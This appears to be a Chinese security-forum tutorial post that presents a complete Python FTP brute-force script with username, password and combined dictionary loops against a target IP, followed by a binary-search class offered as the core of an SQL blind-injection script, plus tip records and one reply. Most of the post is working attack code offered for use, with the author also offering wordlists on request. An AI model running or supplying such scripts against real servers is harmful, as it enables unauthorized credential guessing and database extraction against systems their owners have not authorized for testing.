python教学-ftp爆破脚本和二分法快速定位

君叹   ·   发表于 2021-08-11 22:48:01   ·   技术文章

FTP暴力破解python脚本
首先导入模块

import ftplib

然后编写函数bruteLogin(hostname,username,passwd)
hostname:爆破的主机IP地址
userName:爆破使用的用户名
passWord:爆破使用的密码

def bruteLogin(hostname, userName, passWord):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login(userName, passWord)
        print("\n[*]" + str(hostname) + \
              "FTP Logon Succeeded: " + userName + "/" + passWord)
        ftp.quit()
        return userName, passWord
    except:
        pass

passwd是爆破的密码字典
这个main()函数是用来爆破密码的

def main():
    host = "192.168.10.105"
    w = open('passwd.txt')
    for i in w.readlines():
        bruteLogin(host, 'test', i)

我们还可以更改main()函数来达到爆破用户名或者双爆破

爆破用户名:

def main():
    host = "192.168.10.105"
    w = open('username.txt')
    for i in w.readlines():
        bruteLogin(host, i, '123456')

双爆破:

def main():
    host = "192.168.10.105"
    u = open('username.txt')
    p = open('passwd.txt')
    for i in u.readlines():
        for q in p.readlines():
            bruteLogin(host, i, q)

完整版代码:

import ftplib


def bruteLogin(hostname, userName, passWord):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login(userName, passWord)
        print("\n[*]" + str(hostname) + \
              "FTP Logon Succeeded: " + userName + "/" + passWord)
        ftp.quit()
        return userName, passWord
    except:
        pass


if __name__ == '__main__':
    host = "192.168.10.105"
    w = open('passwd.txt')
    for i in w.readlines():
        bruteLogin(host, 'test', i)

想要达到不同的效果只需要更改不同的main函数即可
字典文件有需要的话留言或者私信我

python实现二分法快速定位(可用于写sql盲注等)

首先先定义类
第一个类方法是 duicuo()
duicuo()函数是使用时需要重写的函数
该函数的内容为判断我们给到的这个值是真还是假
比如我们要写一个SQL盲注的脚本
duicuo()函数就要写成获取页面内容
然后根据正则表达式或者其他什么来判断页面是否正常
页面正常返回 True
页面报错返回 False
不过不属于本章要描述的内容
这里就不多赘述
这里简单写一个 duicuo()方法
用于算法判断

class Dichotomy(object):
    def duicuo(self, num):
        res = requests.get(url)
        valid = re.search("(有数据)", res.text)
        if valid:
            print(num)
            return True
        return False

    def tow_num1(self, num=1):
        num *= 2
        if self.duicuo(num):
            return self.tow_num1(num)
        return [num / 2, num]

    def tow_num2(self, num_):
        c = (num_[1] + num_[0]) / 2
        if self.duicuo(c):
            num_[0] = c
        else:
            num_[1] = c
        if num_[1] - num_[0] == 1:
            return num_[1]
        return self.tow_num2([num_[0], num_[1]])

    def main(self):
        list_ = self.tow_num1()
        num = self.tow_num2(list_)
        return num


if __name__ == '__main__':
    c = Dichotomy()
    q = c.main()
    print(q)
用户名金币积分时间理由
Track-聂风 20.00 0 2021-08-14 16:04:33 额外打赏-限时活动
Track-聂风 40.00 0 2021-08-14 16:04:23 一个受益终生的帖子~~

打赏我,让我更有动力~

1 Reply   |  Until 14天前 | 656 View

秋紫山
发表于 14天前

二分法可以参照一下文章:https://poc.evalbug.com/chapter3/3-3.html
我自己也写过,觉得这个方法挺简洁。哈哈,一千个读者,一千个哈姆雷特。

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者